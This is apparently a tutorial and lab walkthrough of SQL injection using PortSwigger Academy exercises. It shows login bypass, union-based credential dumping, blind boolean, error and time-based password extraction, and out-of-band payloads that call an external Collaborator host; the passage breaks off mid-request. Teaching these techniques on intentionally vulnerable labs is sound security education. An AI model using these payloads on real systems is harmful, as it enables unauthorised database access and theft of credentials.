1. The payload will then comment out the rest of the SQL statement. If we inject the payload, the query that is sent to the backend server will look like this.\n1SELECT * FROM users where username = \u0026#34;admin\u0026#34; OR 1 = 1-- -\u0026#34; AND password = \u0026#34;password\u0026#34; I can assure you that 1=1 will return True, meaning that the \u0026quot;username = admin OR 1 = 1\u0026quot; query will return true, meaning that the query used to login to the web application returns true, meaning that we can bypass the login form and log into the application through an SQLi vulnerability and login as the admin user.\nTypes of SQL-injection Attacks There are four main types of SQL-injection attacks - error-based, union-based, boolean-based and time-based SQL-injections.\nDuring an error-based SQLi attack, the attacker will send different payloads to the backend server with the attempt to produce error messages. Through these error messages, the attacker can gather information about the underlying database.\nThe union-based SQLi attack leverages SQL's UNION keyword to obtain data from different tables within the database. Union attacks are only useful when the results of the query are returned within the application's response. By using the UNION command, an attacker can connect several queries together, allowing to obtain sensitive data from the backend server within a single HTTP response.\nThe boolean-based SQLi attack attempts to send queries to the backend server that will generate different results depending on whether the query returned true or false. By analyzing the HTTP responses the attacker can gain more information regarding the underlying database.\nDuring a time-based SQLi attack, the attacker leverages the SQL sleep commands in order to let the database wait for a few seconds before continueing with its normal processes. When the attacker sends a valid time-based SQLi payload, the attacker will notice a delay in response and use this to obtain information about the backend.\nHow to find SQL-injection Vulnerabilities SQLi vulnerabilities can often be found in web application locations that allow users to insert input. Some examples include but are not limitited to login forms, download and upload functionalities and search / index functionalities.\nMost of the SQLi injection vulnerabilities are present within the WHERE clause of a SELECT query. There are however also other SQL injection points, such as:\nIn UPDATE statements, within the updated values or the WHERE clause. In INSERT statements, within the inserted values. In SELECT statements, within the table or column name. In SELECT statements, within the ORDER BY clause. When finding a web application location that could be vulnerable, we can attempt to find SQLi vulnerabilities manually, or through automated tooling. Manually we can send bad characters to the server in order to make it produce error messages or send sleep payloads to make the database wait a few seconds before processing any other requests.\nLet's take the login form example we discussed earlier, and actually try it on a real (intentionally vulnerable) web application created by PortSwigger Academy. After locating the login page, I use BurpSuite to proxy the requests that are sent to and received from the server, allowing us to take a closer look at what's happening. Let's login using the admin:admin credentials.\n1POST /login HTTP/1.1 2Host: acd81fdd1e70fbd6c02c15a700ff0027.web-security-academy.net 3Cookie: session=kBtnZGlerXUcAL5xXVfGhAhn6CbtCqrK 4[...] 5 6csrf=0M8t7LV5kPNGuHjfNA4tjuchYKxwrsmU\u0026amp;username=admin\u0026amp;password=password We can see that the username is sent as \u0026quot;admin\u0026quot; and the password is sent as \u0026quot;password\u0026quot;. To find out whether the application is vulnerable to SQLi, we can either manually start sending input to the server, and hope to obtain error messages.\nLet's first take a look at how to manually find an error-based SQLi. Let's change the input of our username parameter to be\n1\u0026#39; \u0026#34; -- - Our request will now look like this\n1POST /login HTTP/1.1 2Host: acd81fdd1e70fbd6c02c15a700ff0027.web-security-academy.net 3Cookie: session=kBtnZGlerXUcAL5xXVfGhAhn6CbtCqrK 4[...] 5 6csrf=0M8t7LV5kPNGuHjfNA4tjuchYKxwrsmU\u0026amp;username=\u0026#39;\u0026#34;--+-\u0026amp;password= After which the server responds with the following.\n1HTTP/1.1 500 Internal Server Error 2Content-Type: text/html; charset=utf-8 3Connection: close 4Content-Length: 2363 And we see that we were able to send a request to the server which it could not understand, thus responding with an error code 500 - internal server error. When a HTTP 500 is sent back to the user, it is a signal that user input is being processed by the database.\nLet's try the payload we created before, and see whether we can bypass authentication and login as the administrator user. To do so, we use the following payload as username.\n1administrator\u0026#39; OR 1=1 -- Which generated the following HTTP request.\n1POST /login HTTP/1.1 2Host: accc1f3f1ea1bdf6c05103b100b00020.web-security-academy.net 3[...] 4 5csrf=gG7Y3cZY3HaA1SahfiK0F7nsKvSZc8Aj\u0026amp;username=administrator%27+OR+1%3D1--\u0026amp;password=asdf The HTTP request shows a URL encoded version of the payload. After sending the payload, we get redirected to the /my-account page, and are logged in as the administrator user.\nIn the previous example we looked at a first-order SQLi, as the data that was sent from the user to the server was immidiately processed in an unsafe manner, thus the SQLi payload was executed straight away. There is also a phenomenon called second-order SQLi, or stored SQLi, which occurs when the malicious input of the user is stored in the database for future use. When another part of the application later requests the data stored within the database, the saved SQLi payload gets executed, and an SQLi attack can be triggered.\nSQL-injection Examples This section will take a look at some of the PortSwigger academy labs, and provide the walkthrough and solutions for these questions. There are also community solutions and PortSwigger solutions available for all of the examples I will be showcasing.\nUnion-Based SQL-injection Once we have figured out that the query that we will be injecting is vulnerable, we will have to enumerate the database to figure out what valid payloads we can send in order to obtain data. As mentioned before, the union keyword allows you to execute one or more additional SELECT queries and append the results to the original query. An example.\n1SELECT a, b FROM table1 UNION SELECT c, d FROM table2 Which will retrieve the data from a and b in table 1, and the data from c and d in table 2. For a UNION query to work we have to meet two requirements.\nThe individual queries must return the same number of columns. The datatypes within the columns must be compatible between the individual queries. Therefore, prior to writing injection payloads, we will first need to figure out how many columns there are that we can use, and what data types they accept. Let's start with the first one. There are two methods available to figure out how many columns there are.\nThe first method leverages the ORDER BY clauses. The ORDER BY clause can be incremented all the way up until an error occurs because a higher value than the largest column index was specified. This method would look like this.\n1\u0026#39; ORDER BY 1-- 2\u0026#39; ORDER BY 2-- 3\u0026#39; ORDER BY 3-- Once the requested ORDER BY index exceeds the maximum column index we will know how many columns are available. The second method involves a UNION SELECT clause. When the number of NULL's do not match the number of columns, the database will produce an error message. This looks as follows.\n1\u0026#39; UNION SELECT NULL-- 2\u0026#39; UNION SELECT NULL,NULL-- 3\u0026#39; UNION SELECT NULL,NULL,NULL-- I personally prefer the second method. The reason we specify NULL instead of a character or integer, is because NULL is convertabile to every commonly used data type, and as such it will almost never produce an error. Additionally, when dealing with Oracle databases, we will have to specify a builtin table called \u0026quot;duel\u0026quot; in order for our UNION SELECT to work. This will look like this.\n1\u0026#39; UNION SELECT NULL FROM DUAL-- Once we figured out how many columns we have, our next step is to figure out what type of data the columns are compatible with. We can do this by specifying a string value instead of a NULL in each column. An example would look like this.\n1\u0026#39; UNION SELECT \u0026#39;a\u0026#39;,NULL,NULL-- 2\u0026#39; UNION SELECT NULL,\u0026#39;a\u0026#39;,NULL-- 3\u0026#39; UNION SELECT NULL,NULL,\u0026#39;a\u0026#39;-- In case we are dealing with a column that only allows for integers, it would throw an error like this one.\n1Conversion failed when converting the varchar value \u0026#39;a\u0026#39; to data type int. After learning about the data types that we can use in each column, we can then start with our UNION SELECT injection payloads. A simple payload would look like this.\n1\u0026#39; UNION SELECT username, password FROM users-- And would show a list of usernames and passwords from the users table. In the next section we will be taking a deeper dive into UNION SQLi payloads.\nGathering Database Information through SQL-injection Before we can successfully exploit a SQLi vulnerability, we first need to gather information about the backend database. Different databases use different SQL syntax, thus require different payloads to perform a successful attack. To query the type and the version of the database, we can use the following syntaxis.\n1// Oracle 2SELECT * FROM v$version 3 4// PostgreSQL 5SELECT version() 6 7// Microsoft / MySQL 8SELECT @@version Let's take a look at some examples. For the examples I will be writing UNION SQLi payloads. The following example presents a webshop that has a built-in SQLi vulnerability within the category section. The page URL looks as follows.\n1http://x.yz/filter?category=Gifts For UNION injections it is important to first figure out the amount of columns we have available. To do so, we can use the following query, and add an extra NULL untill we do not receive an error.\n1Gifts\u0026#39; UNION SELECT NULL FROM dual-- 2Gifts\u0026#39; UNION SELECT NULL,NULL FROM dual-- 3Gifts\u0026#39; UNION SELECT NULL,NULL,NULL FROM dual-- When we execute the first and third command, we get an error. When we execute the second payload, we do not, thus we are dealing with two columns.\nWe can then figure out what kind of data the columns are allowed to contain, by sending a string value instead of a NULL.\n1Gifts\u0026#39; UNION SELECT \u0026#39;a\u0026#39;,\u0026#39;a\u0026#39; FROM dual-- Both columns seem to allow strings. Let's add our version payload, to figure out the version of the database. We can either use the first or the second injection point. Let's use the second, and set the first one to NULL.\n1Gifts\u0026#39; UNION SELECT NULL,banner FROM v$version-- And we see the results reflected back onto the web page!\nLet's try the same for MySQL and MSSQL. We already know that we can use two columns, so let's inject the payloads right away.\n1Gifts\u0026#39; UNION SELECT NULL,@@version-- - And the web page displays the version of the database. Please note that we have to specify a space after the comment in order to perform this SQLi. MySQL requires this space to properly read the input after the dashes as comments. Without the space the payload would not work.\nNow that we know some underlying information about the backend database, we can start enumerating databases, tables and columns within those tables. Most databases have a set of views named \u0026quot; information schema\u0026quot; that provide information about the database structure. By enumerating this view, we can find database names and table names. Let's write a payload that will retrieve this information for us. We first figure out that there are two columns available, that both accept string values.\n1Accessories\u0026#39; UNION SELECT NULL,NULL-- - 2 3Accessories\u0026#39; UNION SELECT \u0026#39;a\u0026#39;,\u0026#39;a\u0026#39;-- - We can then use one of the inputs to obtain the information schema of the database.\n1Accessories\u0026#39; UNION SELECT table_schema,table_name FROM information_schema.tables-- - This query retrieves all available tables from the database.\nWe find a user table called \u0026quot;users_iycpka\u0026quot;. We can write the following query to retrieve the columns from this user table.\n1Accessories\u0026#39; UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name=\u0026#39;users_iycpka\u0026#39;-- - Which presents us with the following results.\nWe can see that there are two tables, named username_jrogxx and password_lqozny. Let's retrieve the contents of these tables like so.\n1Accessories\u0026#39; UNION SELECT username_jrogxx, password_lqozny FROM users_iycpka-- - And we find the credentials for the administrator user! We can do the same for an Oracle-based backend database. We would run the following queries in order:\nFigure out how many columns to use in our UNION injection. Figure out what table names are used. Figure out what columns are present in these tables. Read the data from these columns. 1// 1 2Accessories\u0026#39; UNION SELECT NULL FROM dual-- - 3Accessories\u0026#39; UNION SELECT NULL,NULL FROM dual-- - 4 5// 2 6Accessories\u0026#39; UNION SELECT table_name,NULL FROM all_tables-- - 7 8// 3 9Accessories\u0026#39; UNION SELECT column_name,NULL FROM all_tab_columns WHERE table_name=\u0026#39;USERS_XZDKBG\u0026#39;-- - 10 11// 4 12Accessories\u0026#39; UNION SELECT USERNAME_UVCIHB,PASSWORD_MANJSM FROM USERS_XZDKBG-- - Which provides us the usernames and passwords from the \u0026quot;users_xzdkbg\u0026quot; table.\nBlind SQL-injection Attacks Often times the SQLi vulnerabilities are blind vulnerabilities, meaning that the application does not provide any error messages or changes within the web application interface or HTTP response after being successfuly executed. Through blind SQLi we can still perform similar attacks, and read sensitive data from databases. In order to figure out whether a blind SQLi payload worked, we could implement several techniques.\nWe could change the logic of a query to trigger a detectable difference in the application's response, such as the injection of specific boolean logic or by specifying an action that would trigger an error (such as a divide-by-zero action). We could perform a time-based SQLi attack, and use sleep payloads in order to make the server wait a few seconds prior to executing the rest of the payload. We could leverage out-of-band network interaction, such as a DNS lookup to a specific domain, and capture the request from the server to the domain to figure out whether or not the query worked. Let's take a look at one of the PortSwigger Academy lab exercises for blind SQLi attacks.\nBlind SQL-injection with Conditional Responses The application uses a tracking cookie for analytics, and performs an SQL query containing the value of the submitted cookie, like so.\n1SELECT TrackingId FROM TrackedUsers WHERE TrackingId = \u0026#39;uRh4QDaTjwx9pcRl\u0026#39; The results of the SQL query are not returned, and no error messages are displayed. But the application includes a \u0026quot;Welcome back\u0026quot; message in the page if the query returns any rows. To work with this SQLi attack vector, we will be using BurpSuite. Let's intercept a request to the server, and see what it looks like.\n1GET /product?productId=1 HTTP/1.1 2Host: ac7c1fde1ed34b3bc09345ad00ec00cd.web-security-academy.net 3Cookie: TrackingId=uRh4QDaTjwx9pcRl; session=1g5IC9GsAYzwmTDyOrVOE1GWXA8OfEZp 4[...] We can see the TrackingId is set to \u0026quot;uRh4QDaTjwx9pcRl\u0026quot;. Let's send this request to the repeater (by pressing ctrl + r), and see if we can trigger an SQLi. If we execute a regular request, we can see that the response contains the \u0026quot;Welcome back!\u0026quot; string.\nIf we set the payload to a statement that returns True, we will still see the \u0026quot;Welcome back!\u0026quot; string.\n1GET /product?productId=1 HTTP/1.1 2Cookie: TrackingId=uRh4QDaTjwx9pcRl\u0026#39;+AND+\u0026#39;1\u0026#39;=\u0026#39;1 When we write a payload that returns False, we no longer see the \u0026quot;Welcome Back!\u0026quot; string.\n1GET /product?productId=1 HTTP/1.1 2Cookie: TrackingId=uRh4QDaTjwx9pcRl\u0026#39;+AND+\u0026#39;1\u0026#39;=\u0026#39;2 Meaning, that we can see a change in output, depending on whether or not our condition returns True or False. To database that we are dealing with contains a table called \u0026quot;users\u0026quot;, with two columns called \u0026quot;username\u0026quot; and \u0026quot;password\u0026quot;. We will be attempting to figure out the credentials for the administrator user. To do this, we can use substrings. We can inject a payload that will return whether the first character of the password that we are \u0026quot;guessing\u0026quot; is True or False, by implementing a binary search algorithm and check whether the value of a specific letter is higher or lower than the one that we guessed.\n1GET /product?productId=1 HTTP/1.1 2Cookie: TrackingId=uRh4QDaTjwx9pcRl\u0026#39; AND SUBSTRING((SELECT password FROM users WHERE username = \u0026#39;administrator\u0026#39;), 1, 1) \u0026gt; \u0026#39;m The query above prints \u0026quot;Welcome Back!\u0026quot; to the web page, thus the query returns true, thus the first letter of the password for the administrator user is larger than \u0026quot;m\u0026quot;. We can next attempt the letter \u0026quot;t\u0026quot;, like so.\n1GET /product?productId=1 HTTP/1.1 2Cookie: TrackingId=uRh4QDaTjwx9pcRl\u0026#39; AND SUBSTRING((SELECT Password FROM Users WHERE Username = \u0026#39;Administrator\u0026#39;), 1, 1) \u0026gt; \u0026#39;t Which returns the \u0026quot;Welcome Back!\u0026quot; string to the web page again. After a few attempts, I got to the point where \u0026quot;\u0026gt; y\u0026quot; returned true, thus the last letter that was possible was a z. I try the following statement, which returns True.\n1GET /product?productId=1 HTTP/1.1 2Cookie: TrackingId=uRh4QDaTjwx9pcRl\u0026#39; AND SUBSTRING((SELECT password FROM users WHERE username = \u0026#39;administrator\u0026#39;), 1, 1) = \u0026#39;z So now we know the first letter of the password for the administrator user is 'z'. Let's figure out the next letters. After a while I found out that the second letter is an 'L'.\n1GET /product?productId=1 HTTP/1.1 2Cookie: TrackingId=uRh4QDaTjwx9pcRl\u0026#39; AND SUBSTRING((SELECT password FROM users WHERE username = \u0026#39;administrator\u0026#39;), 2, 1) = \u0026#39;l And the third one is a v...\n1GET /product?productId=1 HTTP/1.1 2Cookie: TrackingId=uRh4QDaTjwx9pcRl\u0026#39; AND SUBSTRING((SELECT password FROM users WHERE username = \u0026#39;administrator\u0026#39;), 3, 1) = \u0026#39;v And we continue this procedure all the way until we find the password. We find the g.\n1GET /product?productId=1 HTTP/1.1 2Cookie: TrackingId=uRh4QDaTjwx9pcRl\u0026#39; AND SUBSTRING((SELECT password FROM users WHERE username = \u0026#39;administrator\u0026#39;), 4, 1) = \u0026#39;g We find the d.\n1GET /product?productId=1 HTTP/1.1 2Cookie: TrackingId=uRh4QDaTjwx9pcRl\u0026#39; AND SUBSTRING((SELECT password FROM users WHERE username = \u0026#39;administrator\u0026#39;), 5, 1) = \u0026#39;d We find the k.\n1GET /product?productId=1 HTTP/1.1 2Cookie: TrackingId=uRh4QDaTjwx9pcRl\u0026#39; AND SUBSTRING((SELECT password FROM users WHERE username = \u0026#39;administrator\u0026#39;), 6, 1) = \u0026#39;k And we've had enough. Let's automate this, because we are not going to continue doing this for an eternity. Let's check for the length of the password by specifying numbers instead of letters.\n1GET /product?productId=1 HTTP/1.1 2Cookie: TrackingId=uRh4QDaTjwx9pcRl\u0026#39; AND (SELECT \u0026#39;a\u0026#39; FROM users WHERE username=\u0026#39;administrator\u0026#39; AND LENGTH(password)\u0026gt;10)=\u0026#39;a Which returns True. After sending several requests, I ended up figuring out that the password is 20 characters in length.\n1GET /product?productId=1 HTTP/1.1 2Cookie: TrackingId=uRh4QDaTjwx9pcRl\u0026#39; AND (SELECT \u0026#39;a\u0026#39; FROM users WHERE username=\u0026#39;administrator\u0026#39; AND LENGTH(password)=20)=\u0026#39;a Let's use BurpSuite's intruder functionality to bruteforce this process for us. We set the 'a' as the payload, and use the attack type \u0026quot;sniper\u0026quot;, because we will be focusing on only one parameter.\nUnder payloads, we will select \u0026quot;simple list\u0026quot;, and add the whole alphabet a-z and all numbers 0-9 to the simple list under \u0026quot;payload options\u0026quot;. Under \u0026quot;options\u0026quot; --\u0026gt; \u0026quot;Grep - Extract\u0026quot;, I set a grep for \u0026quot;Welcome back!\u0026quot;. This allows the intruder to send us a notification when it finds the \u0026quot;Welcome back!\u0026quot; message.\nAs we already know the first 6 letters, I will start off with the 7th character by setting the cookie value like so.\n1GET /product?productId=1 HTTP/1.1 2Cookie: TrackingId=uRh4QDaTjwx9pcRl\u0026#39; AND (SELECT SUBSTRING(password,7,1) FROM users WHERE username=\u0026#39;administrator\u0026#39;)=\u0026#39;§a§ When we press \u0026quot;start attack\u0026quot;, the attack window will appear, and as soon as it finds the \u0026quot;Welcome back!\u0026quot; string it will show it to us. After a while I figured out that the password for my instance was \u0026quot;zlvgdk7oggwz1tl8pq8v\u0026quot;, and managed to log in.\nBlind SQL-injection with Conditional Errors In the last example we looked at a blind SQLi with conditional responses. In this example we will be taking a look at a similar case, but with errors instead of responses. We will be analyzing a similar challenge as the one before, but this time the application does not respond any differently based on whether the query returns any rows. If the SQL query causes an error, then the application returns a custom error message.\nThe application runs a similar SQL query as the one before.\n1SELECT TrackingId FROM TrackedUsers WHERE TrackingId = \u0026#39;rZslZ6urwgIDx3eb\u0026#39; But now, instead of seeing a \u0026quot;Welcome back!\u0026quot; string when running a query that returns True, we can trigger an error when our payload turns True, and therefore figure out that our injection works. We will be using the following payloads to test.\n1xyz\u0026#39; AND (SELECT CASE WHEN (1=2) THEN to_char(1/0) ELSE NULL END FROM dual)=\u0026#39;a 2xyz\u0026#39; AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE \u0026#39;a\u0026#39; END)=\u0026#39;a In the example above we will be using the CASE keyword to write an if-statement. If 1=2, then we divide 1 by 0, else we return 'a'. Because 1 =! 2, the first query returns 'a', which does not cause any errors. The second statement returns 1/0, which causes a divide-by-zero error.\nBased on our BurpSuite SQLi cheatsheet we can try the following payloads that are similar to the one described above to figure out what kind of underlying database we are dealing with.\n1// Oracle 2SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN to_char(1/0) ELSE NULL END FROM dual 3 4// Microsoft 5SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END 6 7// PostgreSQL 8SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(1/0 as text) ELSE NULL END 9 10// MySQL 11SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),\u0026#39;a\u0026#39;) Spoiler alert, the Microsoft, PostgreSQL and MySQL databases return an HTTP 500 internal server error, but the Oracle query does not, indicating that we are dealing with an Oracle database. We wrote the following query that returned a 200 OK.\n1GET /product?productId=1 HTTP/1.1 2Cookie: TrackingId=rZslZ6urwgIDx3eb\u0026#39; AND (SELECT CASE WHEN (1=2) THEN to_char(1/0) ELSE NULL END FROM dual)=\u0026#39;a Let's see what happens if we trigger a divide-by-zero error.\n1GET /product?productId=1 HTTP/1.1 2Cookie: TrackingId=rZslZ6urwgIDx3eb\u0026#39; AND (SELECT CASE WHEN (1=1) THEN to_char(1/0) ELSE NULL END FROM dual)=\u0026#39;a And we get a 500 Internal Server Error message. Knowing this behavior, we can enumerate the password for the administrator user in a similar way as before, this time looking for a status 200 OK instead of a \u0026quot;Welcome back!\u0026quot; string. I'll show case one manual example, as we are dealing with an Oracle database this time.\nWe can run the following query.\n1GET /product?productId=1 HTTP/1.1 2Cookie: TrackingId=rZslZ6urwgIDx3eb\u0026#39; || (SELECT CASE WHEN SUBSTR(password, 1, 1) \u0026lt; \u0026#39;a\u0026#39; THEN TO_CHAR(1/0) ELSE \u0026#39;\u0026#39; END FROM users WHERE username=\u0026#39;administrator\u0026#39;)-- Which returns HTTP 200 OK, thus is false. If we query a larger than 'a'\n1GET /product?productId=1 HTTP/1.1 2Cookie: TrackingId=rZslZ6urwgIDx3eb\u0026#39; || (SELECT CASE WHEN SUBSTR(password, 1, 1) \u0026gt; \u0026#39;a\u0026#39; THEN TO_CHAR(1/0) ELSE \u0026#39;\u0026#39; END FROM users WHERE username=\u0026#39;administrator\u0026#39;)-- We get a HTTP 500 internal server error code, thus it's true. Similarly, we can use the same approach as we did last time in order to figure out how many characters the password contains. When we run the following query\n1GET /product?productId=1 HTTP/1.1 2Cookie: TrackingId=rZslZ6urwgIDx3eb\u0026#39; || (SELECT CASE WHEN LENGTH(password) \u0026lt; 1 THEN to_char(1/0) ELSE \u0026#39;\u0026#39; END FROM users WHERE username=\u0026#39;administrator\u0026#39;)-- We get a HTTP 200 OK. When we try this query\n1GET /product?productId=1 HTTP/1.1 2Cookie: TrackingId=rZslZ6urwgIDx3eb\u0026#39; || (SELECT CASE WHEN LENGTH(password) \u0026gt; 1 THEN to_char(1/0) ELSE \u0026#39;\u0026#39; END FROM users WHERE username=\u0026#39;administrator\u0026#39;)-- As the password was 20 characters in length during the last challenge, I check whether this is the case again using this query.\n1GET /product?productId=1 HTTP/1.1 2Cookie: TrackingId=rZslZ6urwgIDx3eb\u0026#39; || (SELECT CASE WHEN LENGTH(password) = 20 THEN to_char(1/0) ELSE \u0026#39;\u0026#39; END FROM users WHERE username=\u0026#39;administrator\u0026#39;)-- Which returns an error, thus the password has a 20 character length. We can obtain the password through the intruder in a similar fashion as we did during the last challenge. Our intruder cookie value would be:\n1GET /product?productId=1 HTTP/1.1 2Cookie: TrackingId=rZslZ6urwgIDx3eb\u0026#39; || (SELECT CASE WHEN SUBSTR(password, 1, 1) = \u0026#39;§a§\u0026#39; THEN TO_CHAR(1/0) ELSE \u0026#39;\u0026#39; END FROM users WHERE username=\u0026#39;administrator\u0026#39;)-- We would create a similar list containing all letters a-z, and numbers from 0-9, and conduct the test for 20 characters in a row. After 20 attacks I figured out that the password for the administrator user in my instance is \u0026quot;m7kpjv34zg06b3k94iyt\u0026quot;, and manage to login and complete the challenge.\nBlind SQL-injection with Time Delays The last two examples work, when there's either a difference in response on the web page, or difference in HTTP status codes that we can observe. When neither of these two are present, we can use blind SQLi with time delays to make the server sleep a few seconds prior to presenting us with the response to our request. Depending on the database that we are dealing with, we can use one of the following four commands to trigger a delay.\n1// Oracle 2dbms_pipe.receive_message((\u0026#39;a\u0026#39;),10) 3 4// Microsoft 5WAITFOR DELAY \u0026#39;0:0:10\u0026#39; 6 7// PostgreSQL 8SELECT pg_sleep(10) 9 10// MySQL 11SELECT sleep(10) Once again, we will be facing a similar challenge which is vulnerable to an SQLi vulnerability within its tracking cookie. Let's see if we can create a query that will make the server sleep for 10 seconds. To do so, we can once again create a payload with an if statement (similar to a CASE statement), which causes the server to sleep for 10 seconds if the response to our query equals to True.\n1// False 2\u0026#39;; IF (1=2) WAITFOR DELAY \u0026#39;0:0:10\u0026#39;-- 3 4// True 5\u0026#39;; IF (1=1) WAITFOR DELAY \u0026#39;0:0:10\u0026#39;-- The payloads that we can use (which can be found in the BurpSuite SQLi cheatsheet) are the following.\n1// Oracle 2SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN \u0026#39;a\u0026#39;||dbms_pipe.receive_message((\u0026#39;a\u0026#39;),10) ELSE NULL END FROM dual 3 4// Microsoft 5IF (YOUR-CONDITION-HERE) WAITFOR DELAY \u0026#39;0:0:10\u0026#39; 6 7// PostgreSQL 8SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END 9 10// MySQL 11SELECT IF(YOUR-CONDITION-HERE,sleep(10),\u0026#39;a\u0026#39;) Let's figure out what database we are dealing with first. After trying the different payloads, I figured out that we are dealing with a PostgreSQL database, as this payload makes the server sleep for 10 seconds.\n1GET /product?productId=4 HTTP/1.1 2Cookie: TrackingId=cTHS05KiqlQoIulY\u0026#39;||(SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END)-- Similarly, we can execute the following request to trigger the sleep as well.\n1GET /product?productId=4 HTTP/1.1 2Cookie: TrackingId=cTHS05KiqlQoIulY\u0026#39;||pg_sleep(10)-- Now that we know what database we are dealing with, we can try to extract the administrator's password from the database in a similar fashion as before, this time, using the output of the sleep command to figure out each character. Let's figure out the length first. We write the following query.\n1GET /product?productId=1 HTTP/1.1 2Cookie: TrackingId=5fq6yK8jhjZNtTAd\u0026#39;||(SELECT CASE WHEN LENGTH(password) \u0026gt; 1 THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users WHERE username = \u0026#39;administrator\u0026#39;)-- And get a 10 second sleep, indicating that the password is longer than 1. We try the length of 20, to see if it's once again 20 characters long.\n1GET /product?productId=1 HTTP/1.1 2Cookie: TrackingId=5fq6yK8jhjZNtTAd\u0026#39;||(SELECT CASE WHEN LENGTH(password) = 20 THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users WHERE username = \u0026#39;administrator\u0026#39;)-- And we get a 10 second sleep. Let's try to guess the first character manually.\n1GET /product?productId=1 HTTP/1.1 2Cookie: TrackingId=5fq6yK8jhjZNtTAd\u0026#39;||(SELECT CASE WHEN SUBSTRING(password, 1, 1) \u0026lt; \u0026#39;m\u0026#39; THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users WHERE username = \u0026#39;administrator\u0026#39;)-- Which makes us sleep for 10 seconds. I put the sleep timer to 3 seconds, as I don't want to wait for 10 seconds every time. Let's try the next one.\n1GET /product?productId=1 HTTP/1.1 2Cookie: TrackingId=5fq6yK8jhjZNtTAd\u0026#39;||(SELECT CASE WHEN SUBSTRING(password, 1, 1) \u0026lt; \u0026#39;g\u0026#39; THEN pg_sleep(3) ELSE pg_sleep(0) END FROM users WHERE username = \u0026#39;administrator\u0026#39;)-- Puts the server to sleep for 3 seconds. After a few more guesses I figured out that the first character is an f, through the following query.\n1GET /product?productId=1 HTTP/1.1 2Cookie: TrackingId=5fq6yK8jhjZNtTAd\u0026#39;||(SELECT CASE WHEN SUBSTRING(password, 1, 1) = \u0026#39;f\u0026#39; THEN pg_sleep(3) ELSE pg_sleep(0) END FROM users WHERE username = \u0026#39;administrator\u0026#39;)-- We can now proceed as we did the last time, by sending the request to the intruder, and highering the character index for the password by 1, untill we figure out the whole 20 character password. We once again create a simple list containing all characters from a-z, and all numbers from 0-9.\n1GET /product?productId=5 HTTP/1.1 2Cookie: TrackingId=ur7ZziE0iRWNur33\u0026#39;||(SELECT CASE WHEN SUBSTRING(password, 2, 1) = \u0026#39;§f§\u0026#39; THEN pg_sleep(30) ELSE pg_sleep(0) END FROM users WHERE username = \u0026#39;administrator\u0026#39;)-- I set the sleep time to 30 seconds, so it becomes very easy to spot when we get a hit. Let's run the attack 20 times :) A few minutes later I managed to figure out that the password for the administrator in my instance is \u0026quot;f2xmemhovoefxoiruijm\u0026quot;.\nBlind SQL-injection with out-of-band Interaction / Data Exfiltration If the page doesn't change based on SQLi payloads, if errors are handled succesfully and don't show any messages, and if sleep based SQLi does also not trigger, the possibility still exists that SQLi is present, but that another threat is used to execute the SQL query, but none of the earlier techniques would provide us with any feedback. In a situation like this, we could try to make the thread that is executing the SQL query do a DNS look up to a domain that we own. In this case, we are using BurpSuite's collaborator to do so.\nBurpSuite Collaborator is a server that provides custom implementations of various network services (including DNS), and allows you to detect when network interactions occur as a result of sending individual payloads to a vulnerable application. Support for Burp Collaborator is built in to BurpSuite Professional.\nLet's attempt to trigger an out-of-band DNS request to our BurpSuite Collaborator client through one of BurpSuite Academy's challenges. We are once again dealing with a Tracking cookie that is vulnerable to SQLi.\nIn order to test for out-of-band interaction we can use several payloads, depending on the type of database that we are dealing with. An overview of payloads are illustrated below.\n1// Oracle 2SELECT extractvalue(xmltype(\u0026#39;\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt;\u0026lt;!DOCTYPE root [ \u0026lt;!ENTITY % remote SYSTEM \u0026#34;http://BURP-COLLABORATOR-SUBDOMAIN/\u0026#34;\u0026gt; %remote;]\u0026gt;\u0026#39;),\u0026#39;/l\u0026#39;) FROM dual 3 4// Oracle (requires elevated privileges) 5SELECT UTL_INADDR.get_host_address(\u0026#39;BURP-COLLABORATOR-SUBDOMAIN\u0026#39;) 6 7// Microsoft 8exec master..xp_dirtree \u0026#39;//BURP-COLLABORATOR-SUBDOMAIN/a\u0026#39; 9 10// PostgreSQL 11copy (SELECT \u0026#39;\u0026#39;) to program \u0026#39;nslookup BURP-COLLABORATOR-SUBDOMAIN\u0026#39; 12 13// MySQL (works on Windows only) 14`LOAD_FILE(\u0026#39;\\\\\\\\BURP-COLLABORATOR-SUBDOMAIN\\\\a\u0026#39;)` 15`SELECT ... INTO OUTFILE \u0026#39;\\\\\\\\BURP-COLLABORATOR-SUBDOMAIN\\a\u0026#39;` When attempting the first Oracle query, we right away receive a hit, thus indicating that we are dealing with an Oracle database.\n1GET /product?productId=3 HTTP/1.1 2Cookie: TrackingId=G81claGlO3CbfGMs\u0026#39;||(SELECT extractvalue(xmltype(\u0026#39;\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt;\u0026lt;!DOCTYPE root [ \u0026lt;!ENTITY % remote SYSTEM \u0026#34;http://x20bulbo11nk2zeol7ybq7y1lsrjf8.oastify.com/\u0026#34;\u0026gt; %remote;]\u0026gt;\u0026#39;),\u0026#39;/l\u0026#39;) FROM dual)-- Because the payload contains a lot of characters that can mess with its functionality, we URL encode it like so.\n1GET /product?productId=3 HTTP/1.1 2Cookie: 